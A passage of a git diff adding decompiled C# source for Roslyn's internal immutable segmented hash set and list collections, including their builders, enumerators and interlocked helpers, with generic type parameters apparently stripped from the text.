immutableSegmentedHashSet.WithComparer(equalityComparer); + } + return ImmutableSegmentedHashSet.Empty.WithComparer(equalityComparer).Union(source); + } + + public static ImmutableSegmentedHashSet ToImmutableSegmentedHashSet(this ImmutableSegmentedHashSet.Builder builder) + { + if (builder == null) + { + throw new ArgumentNullException("builder"); + } + return builder.ToImmutable(); + } +} +internal readonly struct ImmutableSegmentedHashSet : IImmutableSet, IReadOnlyCollection, IEnumerable, IEnumerable, ISet, ICollection, ICollection, IEquatable> +{ + public sealed class Builder : ISet, ICollection, IEnumerable, IEnumerable, IReadOnlyCollection + { + private ImmutableSegmentedHashSet _set; + + private SegmentedHashSet? _mutableSet; + + public IEqualityComparer KeyComparer + { + get + { + return ReadOnlySet.Comparer; + } + set + { + if (!object.Equals(KeyComparer, value ?? EqualityComparer.Default)) + { + _mutableSet = new SegmentedHashSet(ReadOnlySet, value ?? EqualityComparer.Default); + _set = default(ImmutableSegmentedHashSet); + } + } + } + + public int Count => ReadOnlySet.Count; + + private SegmentedHashSet ReadOnlySet => _mutableSet ?? _set._set; + + bool ICollection.IsReadOnly => false; + + internal Builder(ImmutableSegmentedHashSet set) + { + _set = set; + _mutableSet = null; + } + + private SegmentedHashSet GetOrCreateMutableSet() + { + if (_mutableSet == null) + { + ImmutableSegmentedHashSet immutableSegmentedHashSet = RoslynImmutableInterlocked.InterlockedExchange(ref _set, default(ImmutableSegmentedHashSet)); + if (immutableSegmentedHashSet.IsDefault) + { + throw new InvalidOperationException($"Unexpected concurrent access to {GetType()}"); + } + _mutableSet = new SegmentedHashSet(immutableSegmentedHashSet._set, immutableSegmentedHashSet.KeyComparer); + } + return _mutableSet; + } + + public bool Add(T item) + { + if (_mutableSet == null && Contains(item)) + { + return false; + } + return GetOrCreateMutableSet().Add(item); + } + + public void Clear() + { + if (ReadOnlySet.Count != 0) + { + if (_mutableSet == null) + { + _mutableSet = new SegmentedHashSet(KeyComparer); + _set = default(ImmutableSegmentedHashSet); + } + else + { + _mutableSet.Clear(); + } + } + } + + public bool Contains(T item) + { + return ReadOnlySet.Contains(item); + } + + public void ExceptWith(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (_mutableSet != null) + { + _mutableSet.ExceptWith(other); + return; + } + if (other == this) + { + Clear(); + return; + } + if (other is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + if (immutableSegmentedHashSet == _set) + { + Clear(); + } + else if (!immutableSegmentedHashSet.IsEmpty) + { + GetOrCreateMutableSet().ExceptWith(immutableSegmentedHashSet._set); + } + return; + } + SegmentedHashSet segmentedHashSet = null; + foreach (T item in other) + { + if (segmentedHashSet == null) + { + if (!ReadOnlySet.Contains(item)) + { + continue; + } + segmentedHashSet = GetOrCreateMutableSet(); + } + segmentedHashSet.Remove(item); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(GetOrCreateMutableSet()); + } + + public void IntersectWith(IEnumerable other) + { + GetOrCreateMutableSet().IntersectWith(other); + } + + public bool IsProperSubsetOf(IEnumerable other) + { + return ReadOnlySet.IsProperSubsetOf(other); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + return ReadOnlySet.IsProperSupersetOf(other); + } + + public bool IsSubsetOf(IEnumerable other) + { + return ReadOnlySet.IsSubsetOf(other); + } + + public bool IsSupersetOf(IEnumerable other) + { + return ReadOnlySet.IsSupersetOf(other); + } + + public bool Overlaps(IEnumerable other) + { + return ReadOnlySet.Overlaps(other); + } + + public bool Remove(T item) + { + if (_mutableSet == null && !Contains(item)) + { + return false; + } + return GetOrCreateMutableSet().Remove(item); + } + + public bool SetEquals(IEnumerable other) + { + return ReadOnlySet.SetEquals(other); + } + + public void SymmetricExceptWith(IEnumerable other) + { + GetOrCreateMutableSet().SymmetricExceptWith(other); + } + + public bool TryGetValue(T equalValue, out T actualValue) + { + if (ReadOnlySet.TryGetValue(equalValue, out var actualValue2)) + { + actualValue = actualValue2; + return true; + } + actualValue = equalValue; + return false; + } + + public void UnionWith(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (_mutableSet != null) + { + _mutableSet.UnionWith(other); + } + else + { + if (other is ImmutableSegmentedHashSet { IsEmpty: not false }) + { + return; + } + SegmentedHashSet segmentedHashSet = null; + foreach (T item in other) + { + if (segmentedHashSet == null) + { + if (ReadOnlySet.Contains(item)) + { + continue; + } + segmentedHashSet = GetOrCreateMutableSet(); + } + segmentedHashSet.Add(item); + } + } + } + + public ImmutableSegmentedHashSet ToImmutable() + { + _set = new ImmutableSegmentedHashSet(ReadOnlySet); + _mutableSet = null; + return _set; + } + + void ICollection.Add(T item) + { + ((ICollection)GetOrCreateMutableSet()).Add(item); + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + ((ICollection)ReadOnlySet).CopyTo(array, arrayIndex); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + } + + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SegmentedHashSet _set; + + private SegmentedHashSet.Enumerator _enumerator; + + public readonly T Current => _enumerator.Current; + + readonly object? IEnumerator.Current => ((IEnumerator)_enumerator).Current; + + internal Enumerator(SegmentedHashSet set) + { + _set = set; + _enumerator = set.GetEnumerator(); + } + + public readonly void Dispose() + { + _enumerator.Dispose(); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator = _set.GetEnumerator(); + } + } + + internal static class PrivateInterlocked + { + internal static ImmutableSegmentedHashSet VolatileRead(in ImmutableSegmentedHashSet location) + { + SegmentedHashSet segmentedHashSet = Volatile.Read(in Unsafe.AsRef(in location._set)); + if (segmentedHashSet == null) + { + return default(ImmutableSegmentedHashSet); + } + return new ImmutableSegmentedHashSet(segmentedHashSet); + } + + internal static ImmutableSegmentedHashSet InterlockedExchange(ref ImmutableSegmentedHashSet location, ImmutableSegmentedHashSet value) + { + SegmentedHashSet segmentedHashSet = Interlocked.Exchange(ref Unsafe.AsRef(in location._set), value._set); + if (segmentedHashSet == null) + { + return default(ImmutableSegmentedHashSet); + } + return new ImmutableSegmentedHashSet(segmentedHashSet); + } + + internal static ImmutableSegmentedHashSet InterlockedCompareExchange(ref ImmutableSegmentedHashSet location, ImmutableSegmentedHashSet value, ImmutableSegmentedHashSet comparand) + { + SegmentedHashSet segmentedHashSet = Interlocked.CompareExchange(ref Unsafe.AsRef(in location._set), value._set, comparand._set); + if (segmentedHashSet == null) + { + return default(ImmutableSegmentedHashSet); + } + return new ImmutableSegmentedHashSet(segmentedHashSet); + } + } + + public static readonly ImmutableSegmentedHashSet Empty = new ImmutableSegmentedHashSet(new SegmentedHashSet()); + + private readonly SegmentedHashSet _set; + + public IEqualityComparer KeyComparer => _set.Comparer; + + public int Count => _set.Count; + + public bool IsDefault => _set == null; + + public bool IsEmpty => _set.Count == 0; + + bool ICollection.IsReadOnly => true; + + bool ICollection.IsSynchronized => true; + + object ICollection.SyncRoot => _set; + + private ImmutableSegmentedHashSet(SegmentedHashSet set) + { + _set = set; + } + + public static bool operator ==(ImmutableSegmentedHashSet left, ImmutableSegmentedHashSet right) + { + return left.Equals(right); + } + + public static bool operator !=(ImmutableSegmentedHashSet left, ImmutableSegmentedHashSet right) + { + return !left.Equals(right); + } + + public static bool operator ==(ImmutableSegmentedHashSet? left, ImmutableSegmentedHashSet? right) + { + return left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public static bool operator !=(ImmutableSegmentedHashSet? left, ImmutableSegmentedHashSet? right) + { + return !left.GetValueOrDefault().Equals(right.GetValueOrDefault()); + } + + public ImmutableSegmentedHashSet Add(T value) + { + ImmutableSegmentedHashSet result = this; + if (result.IsEmpty) + { + return new ImmutableSegmentedHashSet(new SegmentedHashSet(result.KeyComparer) { value }); + } + if (result.Contains(value)) + { + return result; + } + Builder builder = result.ToBuilder(); + builder.Add(value); + return builder.ToImmutable(); + } + + public ImmutableSegmentedHashSet Clear() + { + ImmutableSegmentedHashSet result = this; + if (result.IsEmpty) + { + return result; + } + return Empty.WithComparer(result.KeyComparer); + } + + public bool Contains(T value) + { + return _set.Contains(value); + } + + public ImmutableSegmentedHashSet Except(IEnumerable other) + { + ImmutableSegmentedHashSet result = this; + if (other is ImmutableSegmentedHashSet { IsEmpty: not false }) + { + return result; + } + if (result.IsEmpty) + { + foreach (T item in other) + { + _ = item; + } + return result; + } + Builder builder = result.ToBuilder(); + builder.ExceptWith(other); + return builder.ToImmutable(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_set); + } + + public ImmutableSegmentedHashSet Intersect(IEnumerable other) + { + ImmutableSegmentedHashSet immutableSegmentedHashSet = this; + if (immutableSegmentedHashSet.IsEmpty || other is ImmutableSegmentedHashSet { IsEmpty: not false }) + { + return immutableSegmentedHashSet.Clear(); + } + Builder builder = immutableSegmentedHashSet.ToBuilder(); + builder.IntersectWith(other); + return builder.ToImmutable(); + } + + public bool IsProperSubsetOf(IEnumerable other) + { + return _set.IsProperSubsetOf(other); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + return _set.IsProperSupersetOf(other); + } + + public bool IsSubsetOf(IEnumerable other) + { + return _set.IsSubsetOf(other); + } + + public bool IsSupersetOf(IEnumerable other) + { + return _set.IsSupersetOf(other); + } + + public bool Overlaps(IEnumerable other) + { + return _set.Overlaps(other); + } + + public ImmutableSegmentedHashSet Remove(T value) + { + ImmutableSegmentedHashSet result = this; + if (!result.Contains(value)) + { + return result; + } + Builder builder = result.ToBuilder(); + builder.Remove(value); + return builder.ToImmutable(); + } + + public bool SetEquals(IEnumerable other) + { + return _set.SetEquals(other); + } + + public ImmutableSegmentedHashSet SymmetricExcept(IEnumerable other) + { + ImmutableSegmentedHashSet result = this; + if (other is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + if (immutableSegmentedHashSet.IsEmpty) + { + return result; + } + if (result.IsEmpty) + { + return immutableSegmentedHashSet.WithComparer(result.KeyComparer); + } + } + if (result.IsEmpty) + { + return ImmutableSegmentedHashSet.CreateRange(result.KeyComparer, other); + } + Builder builder = result.ToBuilder(); + builder.SymmetricExceptWith(other); + return builder.ToImmutable(); + } + + public bool TryGetValue(T equalValue, out T actualValue) + { + if (_set.TryGetValue(equalValue, out var actualValue2)) + { + actualValue = actualValue2; + return true; + } + actualValue = equalValue; + return false; + } + + public ImmutableSegmentedHashSet Union(IEnumerable other) + { + ImmutableSegmentedHashSet result = this; + if (other is ImmutableSegmentedHashSet immutableSegmentedHashSet) + { + if (immutableSegmentedHashSet.IsEmpty) + { + return result; + } + if (result.IsEmpty) + { + return immutableSegmentedHashSet.WithComparer(result.KeyComparer); + } + } + Builder builder = result.ToBuilder(); + builder.UnionWith(other); + return builder.ToImmutable(); + } + + public Builder ToBuilder() + { + return new Builder(this); + } + + public ImmutableSegmentedHashSet WithComparer(IEqualityComparer? equalityComparer) + { + ImmutableSegmentedHashSet result = this; + if (equalityComparer == null) + { + equalityComparer = EqualityComparer.Default; + } + if (object.Equals(result.KeyComparer, equalityComparer)) + { + return result; + } + return new ImmutableSegmentedHashSet(new SegmentedHashSet(result._set, equalityComparer)); + } + + public override int GetHashCode() + { + return _set?.GetHashCode() ?? 0; + } + + public override bool Equals(object? obj) + { + if (obj is ImmutableSegmentedHashSet other) + { + return Equals(other); + } + return false; + } + + public bool Equals(ImmutableSegmentedHashSet other) + { + return _set == other._set; + } + + IImmutableSet IImmutableSet.Clear() + { + return Clear(); + } + + IImmutableSet IImmutableSet.Add(T value) + { + return Add(value); + } + + IImmutableSet IImmutableSet.Remove(T value) + { + return Remove(value); + } + + IImmutableSet IImmutableSet.Intersect(IEnumerable other) + { + return Intersect(other); + } + + IImmutableSet IImmutableSet.Except(IEnumerable other) + { + return Except(other); + } + + IImmutableSet IImmutableSet.SymmetricExcept(IEnumerable other) + { + return SymmetricExcept(other); + } + + IImmutableSet IImmutableSet.Union(IEnumerable other) + { + return Union(other); + } + + void ICollection.CopyTo(T[] array, int arrayIndex) + { + _set.CopyTo(array, arrayIndex); + } + + void ICollection.CopyTo(Array array, int index) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if (index < 0) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + if (array.Length < index + Count) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.index); + } + using Enumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array.SetValue(current, index++); + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + bool ISet.Add(T item) + { + throw new NotSupportedException(); + } + + void ISet.UnionWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.IntersectWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.ExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ISet.SymmetricExceptWith(IEnumerable other) + { + throw new NotSupportedException(); + } + + void ICollection.Add(T item) + { + throw new NotSupportedException(); + } + + void ICollection.Clear() + { + throw new NotSupportedException(); + } + + bool ICollection.Remove(T item) + { + throw new NotSupportedException(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedList.cs new file mode 100644 index 0000000..c6f9859 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/ImmutableSegmentedList.cs @@ -0,0 +1,1524 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Runtime.CompilerServices; +using System.Threading; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace Microsoft.CodeAnalysis.Collections; + +internal static class ImmutableSegmentedList +{ + public static ImmutableSegmentedList Create() + { + return ImmutableSegmentedList.Empty; + } + + public static ImmutableSegmentedList Create(T item) + { + return ImmutableSegmentedList.Empty.Add(item); + } + + public static ImmutableSegmentedList Create(params T[] items) + { + return ImmutableSegmentedList.Empty.AddRange(items); + } + + public static ImmutableSegmentedList.Builder CreateBuilder() + { + return ImmutableSegmentedList.Empty.ToBuilder(); + } + + public static ImmutableSegmentedList CreateRange(IEnumerable items) + { + return ImmutableSegmentedList.Empty.AddRange(items); + } + + public static ImmutableSegmentedList ToImmutableSegmentedList(this IEnumerable source) + { + if (source is ImmutableSegmentedList) + { + return (ImmutableSegmentedList)(object)source; + } + return ImmutableSegmentedList.Empty.AddRange(source); + } + + public static ImmutableSegmentedList ToImmutableSegmentedList(this ImmutableSegmentedList.Builder builder) + { + if (builder == null) + { + throw new ArgumentNullException("builder"); + } + return builder.ToImmutable(); + } +} +internal readonly struct ImmutableSegmentedList : IImmutableList, IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection, IList, ICollection, IList, ICollection, IEquatable> +{ + public sealed class Builder : IList, ICollection, IEnumerable, IEnumerable, IReadOnlyList, IReadOnlyCollection, IList, ICollection + { + private ValueBuilder _builder; + + public int Count => _builder.Count; + + bool ICollection.IsReadOnly => ICollectionCalls.IsReadOnly(ref _builder); + + bool IList.IsFixedSize => IListCalls.IsFixedSize(ref _builder); + + bool IList.IsReadOnly => IListCalls.IsReadOnly(ref _builder); + + bool ICollection.IsSynchronized => ICollectionCalls.IsSynchronized(ref _builder); + + object ICollection.SyncRoot => this; + + public T this[int index] + { + get + { + return _builder[index]; + } + set + { + _builder[index] = value; + } + } + + object? IList.this[int index] + { + get + { + return IListCalls.GetItem(ref _builder, index); + } + set + { + IListCalls.SetItem(ref _builder, index, value); + } + } + + internal Builder(ImmutableSegmentedList list) + { + _builder = new ValueBuilder(list); + } + + public ref readonly T ItemRef(int index) + { + return ref _builder.ItemRef(index); + } + + public void Add(T item) + { + _builder.Add(item); + } + + public void AddRange(IEnumerable items) + { + _builder.AddRange(items); + } + + public int BinarySearch(T item) + { + return _builder.BinarySearch(item); + } + + public int BinarySearch(T item, IComparer? comparer) + { + return _builder.BinarySearch(item, comparer); + } + + public int BinarySearch(int index, int count, T item, IComparer? comparer) + { + return _builder.BinarySearch(index, count, item, comparer); + } + + public void Clear() + { + _builder.Clear(); + } + + public bool Contains(T item) + { + return _builder.Contains(item); + } + + public ImmutableSegmentedList ConvertAll(Converter converter) + { + return _builder.ConvertAll(converter); + } + + public void CopyTo(T[] array) + { + _builder.CopyTo(array); + } + + public void CopyTo(T[] array, int arrayIndex) + { + _builder.CopyTo(array, arrayIndex); + } + + public void CopyTo(int index, T[] array, int arrayIndex, int count) + { + _builder.CopyTo(index, array, arrayIndex, count); + } + + public bool Exists(Predicate match) + { + return _builder.Exists(match); + } + + public T? Find(Predicate match) + { + return _builder.Find(match); + } + + public ImmutableSegmentedList FindAll(Predicate match) + { + return _builder.FindAll(match); + } + + public int FindIndex(Predicate match) + { + return _builder.FindIndex(match); + } + + public int FindIndex(int startIndex, Predicate match) + { + return _builder.FindIndex(startIndex, match); + } + + public int FindIndex(int startIndex, int count, Predicate match) + { + return _builder.FindIndex(startIndex, count, match); + } + + public T? FindLast(Predicate match) + { + return _builder.FindLast(match); + } + + public int FindLastIndex(Predicate match) + { + return _builder.FindLastIndex(match); + } + + public int FindLastIndex(int startIndex, Predicate match) + { + return _builder.FindLastIndex(startIndex, match); + } + + public int FindLastIndex(int startIndex, int count, Predicate match) + { + return _builder.FindLastIndex(startIndex, count, match); + } + + public void ForEach(Action action) + { + _builder.ForEach(action); + } + + public Enumerator GetEnumerator() + { + return _builder.GetEnumerator(); + } + + public ImmutableSegmentedList GetRange(int index, int count) + { + return _builder.GetRange(index, count); + } + + public int IndexOf(T item) + { + return _builder.IndexOf(item); + } + + public int IndexOf(T item, int index) + { + return _builder.IndexOf(item, index); + } + + public int IndexOf(T item, int index, int count) + { + return _builder.IndexOf(item, index, count); + } + + public int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + return _builder.IndexOf(item, index, count, equalityComparer); + } + + public void Insert(int index, T item) + { + _builder.Insert(index, item); + } + + public void InsertRange(int index, IEnumerable items) + { + _builder.InsertRange(index, items); + } + + public int LastIndexOf(T item) + { + return _builder.LastIndexOf(item); + } + + public int LastIndexOf(T item, int startIndex) + { + return _builder.LastIndexOf(item, startIndex); + } + + public int LastIndexOf(T item, int startIndex, int count) + { + return _builder.LastIndexOf(item, startIndex, count); + } + + public int LastIndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + return _builder.LastIndexOf(item, startIndex, count, equalityComparer); + } + + public bool Remove(T item) + { + return _builder.Remove(item); + } + + public int RemoveAll(Predicate match) + { + return _builder.RemoveAll(match); + } + + public void RemoveAt(int index) + { + _builder.RemoveAt(index); + } + + public void Reverse() + { + _builder.Reverse(); + } + + public void Reverse(int index, int count) + { + _builder.Reverse(index, count); + } + + public void Sort() + { + _builder.Sort(); + } + + public void Sort(IComparer? comparer) + { + _builder.Sort(comparer); + } + + public void Sort(Comparison comparison) + { + _builder.Sort(comparison); + } + + public void Sort(int index, int count, IComparer? comparer) + { + _builder.Sort(index, count, comparer); + } + + public ImmutableSegmentedList ToImmutable() + { + return _builder.ToImmutable(); + } + + public bool TrueForAll(Predicate match) + { + return _builder.TrueForAll(match); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return IEnumerableCalls.GetEnumerator(ref _builder); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return IEnumerableCalls.GetEnumerator(ref _builder); + } + + int IList.Add(object? value) + { + return IListCalls.Add(ref _builder, value); + } + + bool IList.Contains(object? value) + { + return IListCalls.Contains(ref _builder, value); + } + + int IList.IndexOf(object? value) + { + return IListCalls.IndexOf(ref _builder, value); + } + + void IList.Insert(int index, object? value) + { + IListCalls.Insert(ref _builder, index, value); + } + + void IList.Remove(object? value) + { + IListCalls.Remove(ref _builder, value); + } + + void ICollection.CopyTo(Array array, int index) + { + ICollectionCalls.CopyTo(ref _builder, array, index); + } + } + + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SegmentedList _list; + + private SegmentedList.Enumerator _enumerator; + + public readonly T Current => _enumerator.Current; + + readonly object? IEnumerator.Current => ((IEnumerator)_enumerator).Current; + + internal Enumerator(SegmentedList list) + { + _list = list; + _enumerator = list.GetEnumerator(); + } + + public readonly void Dispose() + { + _enumerator.Dispose(); + } + + public bool MoveNext() + { + return _enumerator.MoveNext(); + } + + public void Reset() + { + _enumerator = _list.GetEnumerator(); + } + } + + internal static class PrivateInterlocked + { + internal static ImmutableSegmentedList VolatileRead(in ImmutableSegmentedList location) + { + SegmentedList segmentedList = Volatile.Read(in Unsafe.AsRef(in location._list)); + if (segmentedList == null) + { + return default(ImmutableSegmentedList); + } + return new ImmutableSegmentedList(segmentedList); + } + + internal static ImmutableSegmentedList InterlockedExchange(ref ImmutableSegmentedList location, ImmutableSegmentedList value) + { + SegmentedList segmentedList = Interlocked.Exchange(ref Unsafe.AsRef(in location._list), value._list); + if (segmentedList == null) + { + return default(ImmutableSegmentedList); + } + return new ImmutableSegmentedList(segmentedList); + } + + internal static ImmutableSegmentedList InterlockedCompareExchange(ref ImmutableSegmentedList location, ImmutableSegmentedList value, ImmutableSegmentedList comparand) + { + SegmentedList segmentedList = Interlocked.CompareExchange(ref Unsafe.AsRef(in location._list), value._list, comparand._list); + if (segmentedList == null) + { + return default(ImmutableSegmentedList); + } + return new ImmutableSegmentedList(segmentedList); + } + } + + private struct ValueBuilder : IList, ICollection, IEnumerable, IEnumerable, IReadOnlyList, IReadOnlyCollection, IList, ICollection + { + private ImmutableSegmentedList _list; + + private SegmentedList? _mutableList; + + public readonly int Count => ReadOnlyList.Count; + + private readonly SegmentedList ReadOnlyList => _mutableList ?? _list._list; + + readonly bool ICollection.IsReadOnly => false; + + readonly bool IList.IsFixedSize => false; + + readonly bool IList.IsReadOnly => false; + + readonly bool ICollection.IsSynchronized => false; + + readonly object ICollection.SyncRoot + { + get + { + throw new NotSupportedException(); + } + } + + public T this[int index] + { + readonly get + { + return ReadOnlyList[index]; + } + set + { + GetOrCreateMutableList()[index] = value; + } + } + + object? IList.this[int index] + { + readonly get + { + return ((IList)ReadOnlyList)[index]; + } + set + { + ((IList)GetOrCreateMutableList())[index] = value; + } + } + + internal ValueBuilder(ImmutableSegmentedList list) + { + _list = list; + _mutableList = null; + } + + public readonly ref readonly T ItemRef(int index) + { + if ((uint)index >= (uint)ReadOnlyList.Count) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + return ref ReadOnlyList._items[index]; + } + + private SegmentedList GetOrCreateMutableList() + { + if (_mutableList == null) + { + ImmutableSegmentedList immutableSegmentedList = RoslynImmutableInterlocked.InterlockedExchange(ref _list, default(ImmutableSegmentedList)); + if (immutableSegmentedList.IsDefault) + { + throw new InvalidOperationException($"Unexpected concurrent access to {GetType()}"); + } + _mutableList = new SegmentedList(immutableSegmentedList._list); + } + return _mutableList; + } + + public void Add(T item) + { + GetOrCreateMutableList().Add(item); + } + + public void AddRange(IEnumerable items) + { + if (items == null) + { + throw new ArgumentNullException("items"); + } + GetOrCreateMutableList().AddRange(items); + } + + public readonly int BinarySearch(T item) + { + return ReadOnlyList.BinarySearch(item); + } + + public readonly int BinarySearch(T item, IComparer? comparer) + { + return ReadOnlyList.BinarySearch(item, comparer); + } + + public readonly int BinarySearch(int index, int count, T item, IComparer? comparer) + { + return ReadOnlyList.BinarySearch(index, count, item, comparer); + } + + public void Clear() + { + if (ReadOnlyList.Count != 0) + { + if (_mutableList == null) + { + _mutableList = new SegmentedList(); + _list = default(ImmutableSegmentedList); + } + else + { + _mutableList.Clear(); + } + } + } + + public readonly bool Contains(T item) + { + return ReadOnlyList.Contains(item); + } + + public readonly ImmutableSegmentedList ConvertAll(Converter converter) + { + return new ImmutableSegmentedList(ReadOnlyList.ConvertAll(converter)); + } + + public readonly void CopyTo(T[] array) + { + ReadOnlyList.CopyTo(array); + } + + public readonly void CopyTo(T[] array, int arrayIndex) + { + ReadOnlyList.CopyTo(array, arrayIndex); + } + + public readonly void CopyTo(int index, T[] array, int arrayIndex, int count) + { + ReadOnlyList.CopyTo(index, array, arrayIndex, count); + } + + public readonly bool Exists(Predicate match) + { + return ReadOnlyList.Exists(match); + } + + public readonly T? Find(Predicate match) + { + return ReadOnlyList.Find(match); + } + + public readonly ImmutableSegmentedList FindAll(Predicate match) + { + return new ImmutableSegmentedList(ReadOnlyList.FindAll(match)); + } + + public readonly int FindIndex(Predicate match) + { + return ReadOnlyList.FindIndex(match); + } + + public readonly int FindIndex(int startIndex, Predicate match) + { + return ReadOnlyList.FindIndex(startIndex, match); + } + + public readonly int FindIndex(int startIndex, int count, Predicate match) + { + return ReadOnlyList.FindIndex(startIndex, count, match); + } + + public readonly T? FindLast(Predicate match) + { + return ReadOnlyList.FindLast(match); + } + + public readonly int FindLastIndex(Predicate match) + { + return ReadOnlyList.FindLastIndex(match); + } + + public readonly int FindLastIndex(int startIndex, Predicate match) + { + if (startIndex == 0 && Count == 0) + { + return -1; + } + return ReadOnlyList.FindLastIndex(startIndex, match); + } + + public readonly int FindLastIndex(int startIndex, int count, Predicate match) + { + if (count == 0 && startIndex == 0 && Count == 0) + { + return -1; + } + return ReadOnlyList.FindLastIndex(startIndex, count, match); + } + + public readonly void ForEach(Action action) + { + ReadOnlyList.ForEach(action); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(GetOrCreateMutableList()); + } + + public ImmutableSegmentedList GetRange(int index, int count) + { + if (index == 0 && count == Count) + { + return ToImmutable(); + } + return new ImmutableSegmentedList(ReadOnlyList.GetRange(index, count)); + } + + public readonly int IndexOf(T item) + { + return ReadOnlyList.IndexOf(item); + } + + public readonly int IndexOf(T item, int index) + { + return ReadOnlyList.IndexOf(item, index); + } + + public readonly int IndexOf(T item, int index, int count) + { + return ReadOnlyList.IndexOf(item, index, count); + } + + public readonly int IndexOf(T item, int index, int count, IEqualityComparer? equalityComparer) + { + return ReadOnlyList.IndexOf(item, index, count, equalityComparer); + } + + public void Insert(int index, T item) + { + GetOrCreateMutableList().Insert(index, item); + } + + public void InsertRange(int index, IEnumerable items) + { + GetOrCreateMutableList().InsertRange(index, items); + } + + public readonly int LastIndexOf(T item) + { + return ReadOnlyList.LastIndexOf(item); + } + + public readonly int LastIndexOf(T item, int startIndex) + { + if (startIndex == 0 && Count == 0) + { + return -1; + } + return ReadOnlyList.LastIndexOf(item, startIndex); + } + + public readonly int LastIndexOf(T item, int startIndex, int count) + { + if (count == 0 && startIndex == 0 && Count == 0) + { + return -1; + } + return ReadOnlyList.LastIndexOf(item, startIndex, count); + } + + public readonly int LastIndexOf(T item, int startIndex, int count, IEqualityComparer? equalityComparer) + { + if (startIndex < 0) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + if (count < 0 || count > Count) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count); + } + if (startIndex - count + 1 < 0) + { + throw new ArgumentException(); + } + return ReadOnlyList.LastIndexOf(item, startIndex, count, equalityComparer); + } + + public bool Remove(T item) + { + if (_mutableList == null) + { + int num = IndexOf(item); + if (num < 0) + { + return false; + } + RemoveAt(num); + return true; + } + return _mutableList.Remove(item); + } + + public int RemoveAll(Predicate match) + { + return GetOrCreateMutableList().RemoveAll(match); + } + + public void RemoveAt(int index) + { + GetOrCreateMutableList().RemoveAt(index); + } + + public void RemoveRange(int index, int count) + { + GetOrCreateMutableList().RemoveRange(index, count); + } + + public void Reverse() + { + if (Count >= 2) + { + GetOrCreateMutableList().Reverse(); + } + } + + public void Reverse(int index, int count) + { + GetOrCreateMutableList().Reverse(index, count); + } + + public void Sort() + { + if (Count >= 2) + { + GetOrCreateMutableList().Sort(); + } + } + + public void Sort(IComparer? comparer) + { + if (Count >= 2) + { + GetOrCreateMutableList().Sort(comparer); + } + } + + public void Sort(Comparison comparison) + { + if (comparison == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.comparison); + } + if (Count >= 2) + { + GetOrCreateMutableList().Sort(comparison); + } + } + + public void Sort(int index, int count, IComparer? comparer) + { + GetOrCreateMutableList().Sort(index, count, comparer); + } + + public ImmutableSegmentedList ToImmutable() + { + _list = new ImmutableSegmentedList(ReadOnlyList); + _mutableList = null; + return _list; + } + + public readonly bool TrueForAll(Predicate match) + { + return ReadOnlyList.TrueForAll(match); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + int IList.Add(object? value) + { + return ((IList)GetOrCreateMutableList()).Add(value); + } + + readonly bool IList.Contains(object? value) + { + return ((IList)ReadOnlyList).Contains(value); + } + + readonly int IList.IndexOf(object? value) + { + return ((IList)ReadOnlyList).IndexOf(value); + } + + void IList.Insert(int index, object? value) + { + ((IList)GetOrCreateMutableList()).Insert(index, value); + } + + void IList.Remove(object? value) + { + ((IList)GetOrCreateMutableList()).Remove(value); + } + + readonly void ICollection.CopyTo(Array array, int index) + { + ((ICollection)ReadOnlyList).CopyTo(array, index); + } + } + + public static readonly ImmutableSegmentedList Empty = new ImmutableSegmentedList(new SegmentedList()); + + private readonly SegmentedList _list; + + public int Count => _list.Count; + + public bool IsDefault => _list == null; + + public bool IsEmpty => _list.Count == 0; + + bool ICollection.IsReadOnly => true; + + bool IList.IsFixedSize => true; + + bool IList.IsReadOnly => true; + + bool ICollection.IsSynchronized => true; + + object ICollection.SyncRoot => _list; + + public T this[int index] => _list[index]; + + 